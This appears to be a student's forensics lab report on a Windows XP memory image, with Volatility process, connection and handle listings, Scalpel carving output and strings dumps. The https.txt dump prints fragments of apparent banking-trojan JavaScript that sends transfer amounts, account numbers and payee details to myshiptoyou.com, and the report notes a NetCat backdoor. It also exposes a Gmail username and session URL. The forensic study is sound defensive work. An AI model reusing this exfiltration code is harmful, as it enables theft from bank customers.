CCF LAB 3

17.01.2017

Ali Abdulmadzhidov

Adobe Acrobat - user was reading this file https://www.tirol.gv.at/fileadmin/themen/umwelt/wald/naturschutz/downloads/Merkblatt_ameisen.pdf

Winamp - winampa.exe

Bittorrent Limewire - user was trying to download photoshop

Microsoft Word - user was editing faolex.fao.org/docs/texts/aut91657.doc

Internet Explorer - user recently visited this resources:

gmail.com - username: piotr.oscarovitch@gmail.com

raiffeisen.ch

tagesanzeiger.ch

http://www.newsnet.ch/

myshiptoyou.com

NetCat with cmd.exe - system possibly was backdored

RealPlayer

Some screenshots:

```
[01/18/17 19:26:20] forensics@switch:~/Exercises/images/new$ head -n 50 http.txt
var fod="l3",god='</span> - <a href="',tX="l9",hod="Terms",iod='</a> - <a href="',jod="Privacy Policy",kod="</a> ",lod="- ",mod='- <a href="',nod="Program Poli
edium=et&utm_campaign=en" target="_blank" class="',pod=" Blog",qod="Join the ",rod=" team",sod="(updated on ",tod="Powered by ";
function uod(b){if(b.b&&b.zna){var a=b.VK.B(),c;c=Snd(b);var d=new W;d[S](U,dC,ml,fod,V,J,'<span dir="ltr">&copy;2010 Google</span>',J,god,c.p2a,SQ,tX,V)
u],h=0;h<g;h++){var m=e[h];d[S](m?lod+m+K:J)}c.w2b&&d[S](mod,c.GYa,SQ,tX,V,nod,kod);c.O1b&&d[S](ood,tX,V,Kh+pod,iod,c.iX,SQ,tX,V,qod+(Kh+rod),kod);c.UXa&&d[S]
blank" class="',tX,V,"Google Home",
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
function JDd(b){var a=b.serviceId,c=b.url,d=b[ac]||J,e=b[Pq]||J,g=b.thumbnails;if(!g)return j;var h=g[g[u]-1],m=new hm(h[ib],h[gd]),r=m.Fd(),v=h.url,A=v,E;h=[
=b.picasaAlbumUrl)&&h[p](new BU("http://google.com/profiles/media/container",b))}else if(a==HDd){E=Fzc;e||(e=d)}m=new fDc(A,m);h[p](new BU("http://google.com/
,r));c.Lp=h;return c}
$http://www.trustcenter.de/guidelines0
http://farm
http://api.flickr.com/services/rest/
        background-image: url(http://files.newsnetz.ch/css/images/icons/icon_audio.png);
        background-image: url(http://files.newsnetz.ch/css/images/icons/icon_video.png);
        background-image: url(http://files.newsnetz.ch/css/images/icons/icon_article.png);
        background-image: url(http://files.newsnetz.ch/css/images/icons/icon_bildstrecken.png);
        background-image: url(http://files.newsnetz.ch/css/images/icons/icon_poll.png);
        background-image: url(http://files.newsnetz.ch/css/images/icons/icon_comment.png);
        background-image: url(http://files.newsnetz.ch/css/images/icons/icon_link.png);
        background-image: url(http://files.newsnetz.ch/css/images/icons/icon_infografik.png);
        background-image: url(http://files.newsnetz.ch/css/images/icons/icon_dossier.png);
        background-image: url(http://files.newsnetz.ch/css/images/icons/icon_gMap.png);
        background-image: url(http://files.newsnetz.ch/css/images/icons/icon_download.png);
        background: transparent url(http://files.newsnetz.ch/css/images/img_redCross.png) no-repeat scroll 0 1px;
        background: transparent url(http://files.newsnetz.ch/css/images/img_greenTickmark.png) no-repeat scroll 0 1px;
        background:url(http://files.newsnetz.ch/css/images/delete.png) no-repeat 0 -16px
        background:url(http://files.newsnetz.ch/css/images/star.png) no-repeat 0 0px
http://%s%s?user_id=%.4u&version_id=%lu&passphrase=%s&socks=%lu&version=%lu&crc=%.8x
http://
)http://crl.geotrust.com/crls/secureca.crl0
http://files.newsnetz.ch/css/images/ico_twitter.png
system vendor or visit http://www.hardware-update.com for an updated BIOS.
        background:transparent url(http://files.newsnetz.ch/css/images/bg_easyToolTipp.png) no-repeat scroll 0 0;
        background:transparent url(http://files.newsnetz.ch/css/images/rarrow.gif) no-repeat scroll 0 4px;
        background-image: url(http://files.newsnetz.ch/css/images/img_no1.png);
        background-image: url(http://files.newsnetz.ch/css/images/img_no2.png);
        background-image: url(http://files.newsnetz.ch/css/images/img_no3.png);
        background-image: url(http://files.newsnetzMZ
TLS@{}<?xml version="1.0"?><images xsi:noNamespaceSchemaLocation="http://www.limewire.com/schemas/image.xsd"><image description="File written by Adobe Photosho
%http://crl.thawte.com/ThawteSGCCA.crl0(
http://ocsp.thawte.com0>
2http://www.thawte.com/repository/Thawte_SGC_CA.crt0
http://googleads.g.doubleclick.net/pagead/test_domain.js
http://%s%s?user_id=%.4u&version_id=%lu&passphrase=%s&socks=%lu&version=%lu&crc=%.8x
http://
http://www.microsoft.com/provisioning/Branding
http://www.microsoft.com/provisioning/BaseEapConnectionPropertiesV1
http://www.microsoft.com/provisioning/EapConnectionPropertiesV1
http://www.microsoft.com/provisioning/MsChapV2ConnectionPropertiesV1
```

```
[01/18/17 19:26:21] forensics@switch:~/Exercises/images/new$ head -n 50 https.txt
https://tb.raiffeisendirect.ch/LoginAuthentication/staticcontent/html1/img/pic_invis.gif
    var data = "https://myshiptoyou.com/chdata/form.php?kaspersky_inetdate=" + transfdate + "&kaspersky_inet_am=" + amount + "&kaspersky_st=" + stamp + "&kaspersky_inetcur=" + acc_currency + "&ka
sky_inettemp=" + lastbalance;
AL:https://myshiptoyou.com/chdata/form.php
AL:https://myshiptoyou.com/chdata/form.php
AL:https://myshiptoyou.com/chdata/form.php
AL:https://myshiptoyou.com/chdata/form.php
AL:https://myshiptoyou.com/chdata/form.php
AL:https://myshiptoyou.com/chdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://myshiptoyou.com/rfdata/form.php
https://
    var data = "https://myshiptoyou.com/rfdata/form.php?kaspersky_inettemp=" + lastbalance +
https://
https://
https://mail.google.com/mail/?ui=2&view=ss&mset=main&ver=-1xgwi395fz0n7&am=%21Y_6TWUBke-eRZdzVEfQ0WuglnwA6guHkSAtSnrecXEHqVtsb&fri
function o_d(b,a){var c=a||new W;c[S](U,h_d,xk,Cva,V,X(b.Inb),eG,i_d,V);if(b.kj>=0){c[S](OG,pZ,K,Xl,Wk,b.snb,V);if(b.kj==1){var d=X(b.bm)+(j_d+(X(b.kj)+zWd));c[S](d)}else{d=X(b.bm)+(j_d+(X(b.kj)-
{c[S](OG,pZ,K,Xl,Wk,b.wnb,V);p_d({bm:b.bm,AU:b.mD},c);c[S](dl)}c[S](K);if(b.oaa){c[S](OG,pZ,K,Xl,Wk,b.Nfa,V);yWd({kr:b.kr},c);c[S](LN)}c[S](k_d,pZ,K,Xl,l_d,X(b.lj),m_d,"Google profile",bl);b.oaa
" href="https://www.google.com/profiles/me/editprofile?edit=gb">',
    var data = "https://myshiptoyou.com/rfdata/form.php?kaspersky_inettemp=" + lastbalance +
            var data = "https://myshiptoyou.com/chdata/form.php?kaspersky_inetdate=" + transfdate + "&kaspersky_inet_am=" + amount + "&kaspersky_st=" + newstamp + "&kaspersky_inetcur=" + acc_cur
b,c){a=a.S;b=Kc(b);if(a[b]===undefined)return a[b]=c;return a[b]},Lc=function(a){if(U(a,1))return h;return V(a,1,!!window.google_new_domain_enabled)},Mc=function(a,b){return V(a,3,b)};var Nc,Oc,W
a,3);if(hb(b,R))return Nc=Mc(a,new R(1,2,3));return Nc=b},Pc=function(){Oc||(Oc=Gc(W()));return Oc};var Qc={google:1,googlegroups:1,gmail:1,googlemail:1,googleimages:1,googleprint:1};function Rc
_url;if(!a)return j;a=a.toString();if(a.indexOf("http://")==0)a=a.substring(7,a.length);else if(a.indexOf("https://")==0)a=a.substring(8,a.length);var b=a.indexOf("/");if(b==-1)b=a.length;a=a.su
>=3)b=a[a.length-3]in Qc;if(a.length>=2)b=b||a[a.length-2]in Qc;return b}
            var data = "https://myshiptoyou.com/chdata/form.php?kaspersky_inetdate=" + transfdate + "&kaspersky_inet_am=" + amount + "&kaspersky_st=" + newstamp + "&kaspersky_inetcur=" + acc_cur
,["https://www.googl{var
rer: https://myshiptoyou.com/rfdata/form.php?kaspersky_inettemp=NaN&kaspersky_inet_am=NaN&kaspersky_st=1&kaspersky_inetcur=%252525param_accCurrency%252525&kaspersky_inetdata=%252525param_AccNumbe
payeeNum%2525&kaspersky_inetdatenb=%2525param_payeeName%2525&kaspersky_inetdateref=%2525param_reference%2525&kaspersky_inetdatemin=NaN&kaspersky_inetdatemax=NaN&kaspersky_inetdatetrtype=%2525para
2525param_notmoreperc%2525&kaspersky_inetdatebic=%2525param_accBIC%2525&kaspersky_inetdatecountr=%2525param_acc_country%2525&kaspersky_inetdateaddr=%2525param_acc_address%2525&kaspersky_inetdate
            var data = "https://myshiptoyou.com/chdata/form.php?kaspersky_inetdate=" + transfdate + "&kaspersky_inet_am=" + amount + "&kaspersky_st=" + newstamp + "&kaspersky_inetcur=" + acc_cur
URL: https://myshiptoyou.com/rfdata/form.php?kaspersky_inettemp=NaN&kaspersky_inet_am=NaN&kaspersky_st=1&kaspersky_inetcur=%252525param_accCurrency%252525&kaspersky_inetdata=%252525param_AccNumbe
payeeNum%2525&kaspersky_inetdatenb=%2525param_payeeName%2525&kaspersky_inetdateref=%2525param_reference%2525&kaspersky_inetdatemin=NaN&kaspersky_inetdatemax=NaN&kaspersky_inetdatetrtype=%2525para
2525param_notmoreperc%2525&kaspersky_inetdatebic=%2525param_accBIC%2525&kaspersky_inetdatecountr=%2525param_acc_country%2525&kaspersky_inetdateaddr=%2525param_acc_address%2525&kaspersky_inetdate
 bei Sunrise.","http://pagead2.googlesyndication.com/aclk?sa\u003dl\u0026amp;ai\u003dBJffezFvhS72BBce6jQelhdXwC9emrYAB26PFggvAjbcB4OslEAEYASCGj4ACOABQxu-X0_j_____AWD1lc6B4ASgAZ-vxvwDsgEPbWFpbC5n
vbWFpbC5nb29nbGUuY29tL016SXdOelU0TlRnMU16SXdPVEE0TkRnME5RgAIBqQJcT0xoZl6uPsgCzcOaCqgDAegDhgPoA48G9QMAAADE\u0026amp;num\u003d1\u0026amp;sig\u003dAGiWqtyx3wvUffAY0z1QcUsHuRx6vO73hQ\u0026amp;adurl\
3D57644%26a%3D1351624%26g%3D17615202","www.sunrise.ch/online-shop","https://pagead2.googleadservices.com/pagead/adview?ai\u003dBJffezFvhS72BBce6jQelhdXwC9emrYAB26PFggvAjbcB4OslEAEYASCGj4ACOABQxu
29nbGUuY29tugEIZ21haWwtdGzIAQHaATFodHRwOi8vbWFpbC5nb29nbGUuY29tL016SXdOelU0TlRnMU16SXdPVEE0TkRnME5RgAIBqQJcT0xoZl6uPsgCzcOaCqgDAegDhgPoA48G9QMAAADE\u0026sigh\u003dj74sgBSxs9A",,"863531117_284024
https://b.mail.google.com/mail/channel/bind?VER=8&at=AF6bupNUU_ZuTIKmIz4SoTR1e8pXVY9uBQ&it=60&RID=rpc&SID=B8AF7A1EEA4DC756&CI=0&AID=9&TYPE=html&zx=qampuwxivejv&DOMAIN=mail.google.com&t=1
```

```
 Offset(V)  Name                PID    PPID   Thds   Hnds   Time
---------- -------------------- ------ ------ ------ ------ ------------------
0x823ca830 System                  4      0     54    702 1970-01-01 00:00:00
0x821ef020 smss.exe              500      4      3     19 2010-05-05 11:24:49
0x82276628 csrss.exe             564    500     11    493 2010-05-05 11:24:59
0x81f492c0 winlogon.exe          588    500     19    516 2010-05-05 11:25:01
0x82235020 services.exe          636    588     15    250 2010-05-05 11:25:01
0x81f52020 lsass.exe             656    588     23    348 2010-05-05 11:25:01
0x81f53020 svchost.exe           816    636     15    195 2010-05-05 11:25:02
0x81f632a0 svchost.exe           872    636      8    296 2010-05-05 11:25:03
0x81f20978 svchost.exe           956    636     55   1186 2010-05-05 11:25:03
0x82235560 svchost.exe          1080    636      6     88 2010-05-05 11:25:04
0x81f2bb10 svchost.exe          1224    636     15    198 2010-05-05 11:25:06
0x820e5658 spoolsv.exe          1460    636     11    108 2010-05-05 11:25:07
0x81f87da0 explorer.exe         1532   1388     19    542 2010-05-05 11:25:07
0x8212e368 jusched.exe          1796   1532      6     56 2010-05-05 11:25:15
0x82147a78 winampa.exe          1840   1532      6     55 2010-05-05 11:25:15
0x8212c900 realplay.exe         1852   1532     11    104 2010-05-05 11:25:15
0x8219aae0 qttask.exe           1880   1532      7     76 2010-05-05 11:25:16
0x8214dc08 ctfmon.exe           1952   1532      6     98 2010-05-05 11:25:16
0x8214f1a8 msmsgs.exe           1968   1532      7    185 2010-05-05 11:25:16
0x82131658 jqs.exe               188    636      5    120 2010-05-05 11:25:16
0x821242b0 bittorrent.exe        296   1532      9    194 2010-05-05 11:25:17
0x82133a78 LimeWire.exe          312   1532     47    680 2010-05-05 11:25:17
0x8215e558 wscntfy.exe          1620    956      1     37 2010-05-05 11:25:22
0x82236020 alg.exe              2104    636      5    102 2010-05-05 11:25:30
0x82300838 wuauclt.exe          2952    956      3    114 2010-05-05 11:26:30
0x81efa020 cmd.exe              3936   1532      6     64 2010-05-05 11:35:29
0x82129530 AcroRd32.exe         2912   1532      8    212 2010-05-05 11:40:25
0x822a56f8 WINWORD.EXE          3028   1532      8    224 2010-05-05 11:40:39
0x81de9020 iexplore.exe         2836   1532     27    647 2010-05-05 11:41:11
0x81dfcda0 ipconfig.exe         1784    312      0 ------ 2010-05-05 11:42:11
 Offset     Name             PID    PPID   PDB        Time created             Time exited
---------- ---------------- ------ ------ ---------- ----------------------- -----------------------
0x01de9020 iexplore.exe       2836   1532 0x17232000 2010-05-05 11:41:11
0x01df38b0 NC.EXE             4008   3936 0x120ff000 2010-05-05 11:35:48
0x01dfcda0 ipconfig.exe       1784    312 0x1f480000 2010-05-05 11:42:11      2010-05-05 11:42:13
0x01efa020 cmd.exe            3936   1532 0x154ff000 2010-05-05 11:35:29
0x01f20978 svchost.exe         956    636 0x0fc59000 2010-05-05 11:25:03
0x01f2bb10 svchost.exe        1224    636 0x11177000 2010-05-05 11:25:06
0x01f3d140 netstat.exe        2300   2220 0x059ed000 2010-05-05 11:52:55      2010-05-05 11:53:02
0x01f492c0 winlogon.exe        588    500 0x0ee63000 2010-05-05 11:25:01
0x01f52020 lsass.exe           656    588 0x0f026000 2010-05-05 11:25:01
0x01f53020 svchost.exe         816    636 0x0f640000 2010-05-05 11:25:02
0x01f632a0 svchost.exe         872    636 0x0f913000 2010-05-05 11:25:03
0x01f87da0 explorer.exe       1532   1388 0x115a8000 2010-05-05 11:25:07
0x020e5658 spoolsv.exe        1460    636 0x1133f000 2010-05-05 11:25:07
0x021242b0 bittorrent.exe      296   1532 0x13432000 2010-05-05 11:25:17
0x02129530 AcroRd32.exe       2912   1532 0x0c4ec000 2010-05-05 11:40:25
0x0212c900 realplay.exe       1852   1532 0x12c96000 2010-05-05 11:25:15
```

```
 Offset     Local Address             Remote Address            Pid
---------- ------------------------- ------------------------- ------
0x01de60d0 24.177.36.130:0           84.67.80.84:0                  0
0x01de60e0 77.57.180.189:1261        95.100.44.20:80             2836
0x01de7cf8 77.57.180.189:1227        72.14.221.83:443            2836
0x01defc48 77.57.180.189:1067        67.246.192.104:20299         312
0x01df1cf8 77.57.180.189:1211        72.14.221.83:443            2836
0x01df6968 88.216.39.130:0           0.0.0.0:0                      0
0x01e22970 127.0.0.1:1029            127.0.0.1:1030               312
0x01e39aa8 77.57.180.189:1229        72.14.221.189:443           2836
0x01e58558 77.57.180.189:1230        72.14.221.189:443           2836
0x01e928b8 77.57.180.189:1267        217.79.188.8:80             2836
0x01e94408 5.0.49.2:28129            62.12.138.150:21349       2183366144
0x01e95b90 77.57.180.189:1247        62.2.27.27:80               2836
0x01eb1c78 77.57.180.189:1259        62.12.138.150:80            2836
0x01eb1e68 77.57.180.189:1269        217.79.188.11:80            2836
0x01eb6008 77.57.180.189:1055        122.53.187.136:8813          312
0x01ec23f8 127.0.0.1:5152            127.0.0.1:1197               188
0x01efe538 77.57.180.189:1263        72.14.221.164:80            2836
```

```
0x01f0c6d8 77.57.180.189:1210        72.14.221.83:443            2836
0x01f36c68 127.0.0.1:1033            127.0.0.1:1034               312
0x01f36e68 127.0.0.1:1034            127.0.0.1:1033               312
0x01f3d4a8 6.0.147.2:28129           74.125.39.97:21349        2182977704
0x01f6b008 77.57.180.189:1065        82.7.19.219:43192            312
0x01f6b6b8 77.57.180.189:4711        192.65.92.227:14396         4008
0x01f9f8b0 127.0.0.1:1030            127.0.0.1:1029               312
0x01fa3b48 77.57.180.189:1217        94.102.49.134:80            2836
0x01faccf8 77.57.180.189:1255        62.12.138.150:80            2836
0x01fd46d8 77.57.180.189:1241        94.102.49.134:443           2836
0x021061f0 72.199.246.129:0          83.101.109.225:0          3134238896
0x0213a968 127.0.0.1:1036            127.0.0.1:1035               312
0x021a7700 77.57.180.189:1254        74.125.39.139:80            2836
0x021a7b38 77.57.180.189:1121        72.14.221.155:80          38141956
0x021bb2a0 77.57.180.189:1271        95.100.37.115:80            2836
0x021c13c0 77.57.180.189:1264        72.14.221.155:80            2836
0x02232a50 127.0.0.1:1035            127.0.0.1:1036               312
0x02238498 5.0.49.2:28129            62.12.138.150:21349       2183135240
0x023e6c50 77.57.180.189:1226        72.14.221.83:443            2836
 Offset(V)  Local Address             Remote Address            Pid
---------- ------------------------ ------------------------ ------
0x81e22970 127.0.0.1:1029            127.0.0.1:1030               312
0x81e22970 127.0.0.1:1033            127.0.0.1:1034               312
0x81f36c68 127.0.0.1:1034            127.0.0.1:1033               312
0x81f36e68 127.0.0.1:1030            127.0.0.1:1029               312
0x81f9f8b0 127.0.0.1:1036            127.0.0.1:1035               312
0x8213a968 127.0.0.1:1035            127.0.0.1:1036               312
0x81f6b6b8 77.57.180.189:4711        192.65.92.227:14396         4008
0x81f6b008 77.57.180.189:1065        82.7.19.219:43192            312
0x81e58558 77.57.180.189:1230        72.14.221.189:443           2836
0x81e58558 77.57.180.189:1226        72.14.221.83:443            2836
0x81defc48 77.57.180.189:1067        67.246.192.104:20299         312
0x81eb6008 77.57.180.189:1055        122.53.187.136:8813          312
0x81de7cf8 77.57.180.189:1227        72.14.221.83:443            2836
0x81ec23f8 127.0.0.1:5152            127.0.0.1:1197               188
```

```
Offset(V)  Obj Type   #Ptr #Hnd Access Name
0x01deb6b8 0x823ed040    3    0 RWD--- '\\$Directory'
0x01deb898 0x823ed040    3    0 RWD--- '\\$Directory'
0x01dee600 0x823ed040    1    0 -W-rwd '\\Documents and Settings\\Peter Haag\\Local Settings\\Temporary Internet Files\\Content.IE5\\0P6R8DE3\\bullet[1].gif'
0x01def770 0x823ed040    1    0 R--r-d '\\Program Files\\Java\\jre6\\bin\\jp2native.dll'
0x01df0768 0x823ed040    1    0 R--rw- '\\Documents and Settings\\Peter Haag\\Local Settings\\Temporary Internet Files\\Content.IE5\\6TEDUZUT\\jquery.pagination[1].js'
0x01df0800 0x823ed040    1    1 R--rw- '\\Documents and Settings\\Peter Haag\\Desktop'
0x01df11a8 0x823ed040    1    1 RW-r-- '\\WINDOWS\\SoftwareDistribution\\ReportingEvents.log'
0x01df1448 0x823ed040    2    1 ------ '\\Endpoint'
0x01df3f78 0x823ed040    1    0 R--r-d '\\WINDOWS\\system32\\shimgvw.dll'
0x01df41f0 0x823ed040    1    0 R--r-- '\\WINDOWS\\Fonts\\MTCORSVA.TTF'
0x01df44e8 0x823ed040    3    0 RWD--- '\\$Directory'
0x01df4bc8 0x823ed040    1    0 R--r-- '\\WINDOWS\\Fonts\\raavi.ttf'
0x01dfd1a8 0x823ed040    1    0 R--r-- '\\WINDOWS\\Fonts\\trebucbi.ttf'
0x01dfe5c0 0x823ed040    2    1 RW-rw- '\\'
0x01e00950 0x823ed040    1    0 R--rw- '\\WINDOWS\\Fonts\\verdanab.ttf'
0x01e15010 0x823ed040    1    1 ------ '\\samr'
0x01e15500 0x823ed040    3    1 R--rw- '\\Program Files\\Java\\jre6\\lib\\ext\\sunjce_provider.jar'
0x01e15950 0x823ed040    1    1 R--rw- '\\WINDOWS\\WinSxS\\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83'
0x01e18eb0 0x823ed040    1    0 R--r-d '\\Program Files\\Common Files\\Adobe\\Acrobat\\ActiveX\\pdfshell.dll'
0x01e1a778 0x823ed040    1    0 R--rwd '\\Program Files\\Adobe\\Reader 8.0\\Reader\\ViewerPS.dll'
0x01e1a960 0x823ed040    1    0 R--rwd '\\Program Files\\Java\\jre6\\lib\\deploy\\jqs\\ie\\jqs_plugin.dll'
0x01e1c728 0x823ed040    1    0 R--rw- '\\WINDOWS\\Fonts\\verdana.ttf'
0x01e1c890 0x823ed040    1    0 R--r-- '\\WINDOWS\\system32\\c_28591.nls'
0x01e22248 0x823ed040    1    0 R--rwd '\\WINDOWS\\system32\\browser.dll'
0x01e22808 0x823ed040    2    1 RW-rw- '\\Documents and Settings\\Peter Haag\\Local Settings\\History\\History.IE5\\index.dat'
0x01e23680 0x823ed040    1    0 R--r-d '\\Program Files\\Java\\jre6\\bin\\deploy.dll'
0x01e24220 0x823ed040    1    0 R--r-- '\\WINDOWS\\Fonts\\comicbd.ttf'
0x01e25858 0x823ed040    3    1 ------ '\\Endpoint'
0x01e270d0 0x823ed040    1    0 R--rwd '\\WINDOWS\\system32\\snmpapi.dll'
0x01e2ae08 0x823ed040    2    1 ------ '\\Endpoint'
0x01e37288 0x823ed040    2    0 R--rw- '\\WINDOWS\\Fonts\\verdanai.ttf'
0x01e37ae0 0x823ed040    3    0 RWD--- '\\$Directory'
0x01e39978 0x823ed040    1    0 R--rw- '\\WINDOWS\\system32\\drivers\\etc\\protocol'
0x01e3af78 0x823ed040    1    1 R--rw- '\\Documents and Settings\\Peter Haag'
0x01e3f058 0x823ed040    1    0 R--rw- '\\WINDOWS\\system32\\msxml3.dll'
0x01e44338 0x823ed040    1    0 R--r-d '\\WINDOWS\\system32\\usbui.dll'
0x01e44450 0x823ed040    1    1 R--rw- '\\WINDOWS\\WinSxS\\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.163_x-ww_681e29fb'
0x01e44f78 0x823ed040    2    1 ------ '\\wkssvc'
0x01e480c8 0x823ed040    1    1 RW-rw- '\\Documents and Settings\\LocalService\\Local Settings\\History\\History.IE5\\index.dat'
0x01e4a6e8 0x823ed040    1    0 R--rwd '\\WINDOWS\\system32\\d3d9.dll'
0x01e4a780 0x823ed040    1    0 R--rwd '\\WINDOWS\\system32\\d3d8thk.dll'
0x01e4ad18 0x823ed040    1    0 -W-rwd '\\Documents and Settings\\Peter Haag\\Local Settings\\Temporary Internet Files\\Content.IE5\\0P6R8DE3\\tab_bg[1].gif'
0x01e4adb0 0x823ed040    1    0 R--r-d '\\WINDOWS\\system32\\notepad.exe'
0x01e4ae48 0x823ed040    1    0 R--rwd '\\Documents and Settings\\Peter Haag\\Application Data\\Microsoft\\Crypto\\RSA\\S-1-5-21-343818398-920026266-854245398-1003\\83aa4cc77f'
0x01e4fc00 0x823ed040    3    0 RWD--- '\\$Directory'
0x01e504b0 0x823ed040    1    0 ------ '\\{9B365890-165F-11D0-A195-0020AFD156E4}'
0x01e55330 0x823ed040    1    1 RW-rw- '\\Documents and Settings\\LocalService\\Cookies\\index.dat'
0x01e57e10 0x823ed040    1    0 R--r-d '\\Documents and Settings\\Peter Haag\\Application Data\\LimeWire\\browser\\xulrunner\\freebl3.dll'
0x01e58010 0x823ed040    1    1 R--rw- '\\WINDOWS\\WinSxS\\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83'
```

```
          Suggested Profile(s) : WinXPSP3x86, WinXPSP2x86 (Instantiated with WinXPSP2x86)
                     AS Layer1 : JKIA32PagedMemory (Kernel AS)
                     AS Layer2 : WindowsCrashDumpSpace32 (/data/Exercises/images/MEMORY-IMG2.DMP)
                     AS Layer3 : FileAddressSpace (/data/Exercises/images/MEMORY-IMG2.DMP)
                      PAE type : No PAE
                           DTB : 0x39000
                          KDBG : 0x8054cde0L
                          KPCR : 0xffdff000L
            KUSER_SHARED_DATA : 0xffdf0000L
          Image date and time : 2010-05-05 11:54:02
    Image local date and time : 2010-05-05 11:54:02
         Number of Processors : 1
                    Image Type : Service Pack 3
```

```
Scalpel version 1.60 audit file
Started at Wed Jan 11 12:21:24 2017
Command line:
scalpel -o files -c ../scalpel.conf MEMORY-IMG2.DMP

Output directory: /data/Exercises/images/files
Configuration file: ../scalpel.conf

Opening target "/data/Exercises/images/MEMORY-IMG2.DMP"

The following files were carved:
File              Start              Chop          Length          Extracted From
00000276.jpg      9090894            NO            204111          MEMORY-IMG2.DMP
00000012.gif      8887720            NO                43          MEMORY-IMG2.DMP
00000011.gif      8886704            NO               126          MEMORY-IMG2.DMP
00000010.gif      7972736            NO                43          MEMORY-IMG2.DMP
00000009.gif      7972464            NO                43          MEMORY-IMG2.DMP
00000008.gif      3399680            NO               102          MEMORY-IMG2.DMP
00000007.gif      2859008            NO                58          MEMORY-IMG2.DMP
00000006.gif       884736            NO                43          MEMORY-IMG2.DMP
00000511.bmp       830084            YES           100000          MEMORY-IMG2.DMP
00000512.bmp      1103724            YES           100000          MEMORY-IMG2.DMP
00000513.bmp      3766588            YES           100000          MEMORY-IMG2.DMP
00000514.bmp      3837948            YES           100000          MEMORY-IMG2.DMP
00000515.bmp      4315852            YES           100000          MEMORY-IMG2.DMP
00000516.bmp      7418004            YES           100000          MEMORY-IMG2.DMP
00000517.bmp      8267076            YES           100000          MEMORY-IMG2.DMP
00000518.bmp      9604060            YES           100000          MEMORY-IMG2.DMP
00000800.htm      4428324            NO               172          MEMORY-IMG2.DMP
00000801.htm      4428557            NO               172          MEMORY-IMG2.DMP
00000802.htm      4428790            NO               172          MEMORY-IMG2.DMP
00000803.htm      4429020            NO               462          MEMORY-IMG2.DMP
00000804.htm      4429540            NO               201          MEMORY-IMG2.DMP
00000805.htm      4429802            NO               201          MEMORY-IMG2.DMP
00000806.htm      4430061            NO               144          MEMORY-IMG2.DMP
00000807.htm      4430263            NO               169          MEMORY-IMG2.DMP
00000808.htm      4430493            NO               169          MEMORY-IMG2.DMP
00000809.htm      4430720            NO               477          MEMORY-IMG2.DMP
00000810.htm      4431258            NO               477          MEMORY-IMG2.DMP
00000417.png      8777295            NO           4192743          MEMORY-IMG2.DMP
00000416.png      7766208            NO           5203830          MEMORY-IMG2.DMP
00000415.png      1261569            NO          11708469          MEMORY-IMG2.DMP
00000414.png       823126            NO          12146912          MEMORY-IMG2.DMP
00000413.png       823099            NO          12146939          MEMORY-IMG2.DMP
00000412.png       823049            NO          12146989          MEMORY-IMG2.DMP
00000411.png       823022            NO          12147016          MEMORY-IMG2.DMP
00000410.png       822980            NO          12147058          MEMORY-IMG2.DMP
00000409.png       822953            NO          12147085          MEMORY-IMG2.DMP
00000408.png       822853            NO          12147185          MEMORY-IMG2.DMP
00000407.png       822834            NO          12147204          MEMORY-IMG2.DMP
00000406.png       822802            NO          12147236          MEMORY-IMG2.DMP
00000405.png       456376            NO          12513662          MEMORY-IMG2.DMP
```